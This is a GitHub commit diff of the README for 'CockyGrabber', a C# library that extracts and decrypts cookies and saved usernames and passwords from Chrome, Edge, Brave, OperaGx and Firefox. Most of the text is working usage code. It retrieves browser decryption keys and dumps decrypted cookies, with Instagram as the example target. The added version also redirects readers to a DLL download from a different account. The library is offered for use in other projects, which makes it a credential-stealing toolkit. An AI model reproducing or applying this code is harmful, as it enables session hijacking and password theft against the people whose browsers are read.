Skip to content

Commit 449cd8f

Browse files
authored
Update README.md
1 parent aea6835 commit 449cd8f

1 file changed

Lines changed: 126 additions & 79 deletions

File tree

README.md

Lines changed: 126 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -1,130 +1,177 @@
1-
# CockyGrabber
2-
3-
CockyGrabber is a C#.NET library for collecting browser information such as cookies, logins, and more.
4-
It's also very *easy* to integrate into your Projects.
1+
#### 💣 Old CockyGrabber got deleted by TheBackdoor - Made by TheBackdoor and me 💣
52

6-
## Table Of Contents
3+
# CockyGrabber
4+
A Browser Cookies & Passwords Grabber C#.NET Library that you can itegrate in your Projects.
5+
*(More Supported Browsers in Future!)*
76

8-
1. [Integration](#integration)
9-
2. [Usage](#usage)
10-
* [Importing CockyGrabber](#importing-cockygrabber)
11-
* [Grabbing Cookies](#grabbing-cookies)
12-
* [Grabbing Logins](#grabbing-logins)
13-
3. [What's Next](#whats-next)
14-
4. [End](#end)
7+
## Download:
158

16-
## Integration
9+
For download all necessary packages, you can do from nuget with searching `CockyGrabber` and download the 1.2.0 version. once done, just download the library from the last [release](https://github.com/Stanley-GF/CockyGrabber/releases/download/2.1.0/webGrabber.dll).
1710

18-
Before you can use CockyGrabber you will need to download a few necessary packages. You can get them from external sources or easily with [NuGet](https://www.nuget.org/):
11+
## Usage:
12+
**Import Cockygrabber classes:**</br>
13+
It's not necessary but it will look better if you import CockyGrabber:
14+
```cs
15+
using CockyGrabber;
16+
using Cookie = CockyGrabber.Classes.Cookie;
17+
```
18+
</br>
19+
then you will need to import a few packages to make CockyGrabber work
1920

20-
* [Newtonsoft.Json](https://www.newtonsoft.com/json)
21-
* [BouncyCastle](http://www.bouncycastle.org/csharp/)
22-
* [System.Data.SQLite](https://system.data.sqlite.org/)
23-
* [System.Security.Cryptography.ProtectedData](http://www.dot.net/)
21+
```cs
22+
using System.Data.SQLite; // link: https://www.nuget.org/packages/System.Data.SQLite/
23+
using Newtonsoft.Json; // link: https://www.nuget.org/packages/Newtonsoft.Json/
24+
using System.Security.Cryptography.ProtectedData; // link: https://www.nuget.org/packages/System.Security.Cryptography.ProtectedData
25+
using BouncyCastle; // link: https://www.nuget.org/packages/BouncyCastle/
26+
```
2427

25-
<!--Or you can download CockyGrabber directly from NuGet with the necessary packages included: [LINK]-->
2628

27-
## Usage
29+
</br>
30+
</br>
2831

29-
### Importing CockyGrabber
32+
**Getting The Key to decrypt cookies:**</br>
33+
First you need to get a Key to decrypt the Cookies.
3034

35+
Replace `[GrabberClass]` with the Cookie Grabber Class you want to use (OperaGxGrabber/ChromeGrabber. Firefox doesn't need a key because it don't encrypts cookies)
3136
```cs
32-
using CockyGrabber;
33-
using CockyGrabber.Grabbers;
37+
[GrabberClass] grabber = new [GrabberClass]
38+
byte[] keyToDecryptEncrypedDB = grabber.GetKey();
3439
```
40+
</br>
41+
</br>
3542

36-
### Grabbing Cookies
43+
**Grabbing Cookies:**</br>
44+
Cookie Grabbing with CockyGrabber is *REALLY EASY*.
45+
</br>
46+
</br>
47+
*Cookie Hostname examples: ".instagram.com" for instagram cookies, ".github.com" for github cookies, ".stackoverflow.com" for stackoverflow cookies, ...*
48+
</br>
49+
</br>
50+
</br>
3751

38-
Grabbing stuff with CockyGrabber is really easy!
3952

40-
To set an example here is how to collect Chrome cookies:
53+
Firefox Cookie Grabbing:
4154

4255
```cs
43-
ChromeGrabber grabber = new ChromeGrabber(); // Define Grabber
44-
List<Chromium.Cookie> cookies = grabber.GetCookies(); // Collect all Cookies with GetCookies()
56+
FirefoxGrabber grabber = new FirefoxGrabber();
4557

46-
// Print Hostname, Name and Value of every cookie:
47-
foreach(Chromium.Cookie cookie in cookies) // Since Chrome is a Chromium-based Browser it uses Chromium Cookies
58+
// Get cookies by hostname:
59+
foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com"))
4860
{
49-
string cookieHostname = cookie.HostKey;
61+
string cookieHostname = cookie.HostName;
5062
string cookieName = cookie.Name;
51-
string cookieValue = cookie.EncryptedValue;
63+
string cookieValue = cookie.Value;
5264
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
5365
}
54-
```
55-
56-
*To collect the Cookies of any othe Chromium-based Browser just replace `ChromeGrabber` with `OperaGxGrabber`, `BraveGrabber`, and so on...*
5766

67+
// Get All cookies:
68+
foreach(Cookie cookie in grabber.GetAllCookies())
69+
{
70+
string cookieHostname = cookie.HostName;
71+
string cookieName = cookie.Name;
72+
string cookieValue = cookie.Value;
73+
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
74+
}
75+
```
76+
</br>
5877
</br>
5978

60-
Browsers like Firefox, which are based on other engines have their own classes, such as 'Firefox.Cookie' since they aren't Chromium-based:
79+
Chrome Cookie Grabbing:
80+
</br>
81+
Since Chrome cookie values are encrypted with BLOB, we need a key to decrypt the data. (I defined the key on line 21, README.md)
82+
</br>
6183

6284
```cs
63-
FirefoxGrabber grabber = new FirefoxGrabber(); // Define Grabber
64-
List<Firefox.Cookie> cookies = grabber.GetCookies(); // Collect all Cookies with GetCookies()
85+
ChromeGrabber grabber = new ChromeGrabber();
6586

66-
// Print Hostname, Name and Value of every cookie:
67-
foreach(Firefox.Cookie cookie in cookies) // Firefox has its own engine and therefore its own Cookie class (Firefox.Cookie)
87+
// Get cookies by hostname:
88+
foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com", keyToDecryptEncrypedDB))
6889
{
69-
string cookieHostname = cookie.Host;
90+
string cookieHostname = cookie.HostName;
7091
string cookieName = cookie.Name;
7192
string cookieValue = cookie.Value;
7293
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
7394
}
74-
```
7595

76-
### Grabbing Logins
96+
// Get All cookies:
97+
foreach(Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB))
98+
{
99+
string cookieHostname = cookie.HostName;
100+
string cookieName = cookie.Name;
101+
string cookieValue = cookie.Value;
102+
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
103+
}
104+
```
77105

78-
CockyGrabber can also grab Login Data such as Usernames and Passwords.
106+
</br>
107+
</br>
79108

80-
Here is an example with the `BraveGrabber()`:
109+
OperaGx Cookie Grabbing:
110+
</br>
111+
OperaGx also encrypts cookies so you need a key here too.
112+
</br>
81113

82114
```cs
83-
BraveGrabber grabber = new BraveGrabber(); // Define Grabber
84-
List<Chromium.Login> logins = grabber.GetLogins(); // Collect all Logins with GetLogins()
115+
OperaGxGrabber grabber = new OperaGxGrabber();
85116

86-
// Print the Origin(URL), Username value and Password value of every Login:
87-
foreach(Chromium.Login login in logins) // Since Brave is a Chromium-based Browser it uses Chromium Logins
117+
// Get cookies by hostname:
118+
foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com", keyToDecryptEncrypedDB))
88119
{
89-
string loginUrl = login.OriginUrl;
90-
string loginUsername = login.UsernameValue;
91-
string loginPassword = login.PasswordValue;
92-
Console.WriteLine($"{loginUrl} = {loginUsername}:{loginPassword}");
120+
string cookieHostname = cookie.HostName;
121+
string cookieName = cookie.Name;
122+
string cookieValue = cookie.Value;
123+
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
93124
}
94-
```
95-
96-
*Same thing goes here if you want to collect OperaGx, Chrome or Edge Cookies just replace `BraveGrabber` with `OperaGxGrabber`, `EdgeGrabber`, ...*
97125

126+
// Get All cookies:
127+
foreach(Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB))
128+
{
129+
string cookieHostname = cookie.HostName;
130+
string cookieName = cookie.Name;
131+
string cookieValue = cookie.Value;
132+
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
133+
}
134+
```
135+
</br>
98136
</br>
99137

100-
... And if you want to grab Logins from non-Chromium based browsers like Firefox then you'll need to use a special class like `Firefox.Login`:
138+
Edge Cookie Grabbing:
139+
</br>
140+
Edge also encrypts cookies so you need a key here too.
141+
</br>
101142

102143
```cs
103-
FirefoxGrabber grabber = new FirefoxGrabber();
104-
List<Firefox.Login> logins = grabber.GetLogins();
105-
106-
foreach(Firefox.Login login in logins)
107-
// ...
108-
```
109-
110-
#### **If you need more examples, then go to the Examples folder!**
144+
EdgeGrabber grabber = new EdgeGrabber();
111145

112-
## What's Next
146+
// Get cookies by hostname:
147+
foreach(Cookie cookie in grabber.GetCookiesByHostname(".instagram.com", keyToDecryptEncrypedDB))
148+
{
149+
string cookieHostname = cookie.HostName;
150+
string cookieName = cookie.Name;
151+
string cookieValue = cookie.Value;
152+
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
153+
}
113154

114-
1. Adding a Function that can grab all the data at once
115-
2. Adding more things to grab like bookmarks, extensions, ...
116-
3. Async Funtions
117-
4. Turn CockyGrabber into a NuGet Package
118-
5. Adding custom Functions that replace the packages
119-
6. Creating a minimalized File that anyone can easily implement in their Project without referencing CockyGrabber itself
120-
7. Migrate to NET Core
121-
8. Create a better documentation
122-
9. More Examples
155+
// Get All cookies:
156+
foreach(Cookie cookie in grabber.GetAllCookies(keyToDecryptEncrypedDB))
157+
{
158+
string cookieHostname = cookie.HostName;
159+
string cookieName = cookie.Name;
160+
string cookieValue = cookie.Value;
161+
Console.WriteLine($"{cookieHostname} = {cookieName}: {cookieValue}");
162+
}
163+
```
164+
</br>
165+
</br>
123166

124167
## End
125-
126-
Thats it for now!
127-
168+
</br>
169+
Yea thats it for now. Fork/Star/Watch this repo to dont miss new releases!
170+
</br>
171+
</br>
172+
If you want to script with me then create a Issue!
173+
</br>
174+
---
128175
</br>
129176

130-
*CockyGrabber is still in development and will receive future updates* so if you found any **Bugs**, please create an Issue and report it!
177+
If you found any **Bugs** then please create a Issue!

0 commit comments

Comments
 (0)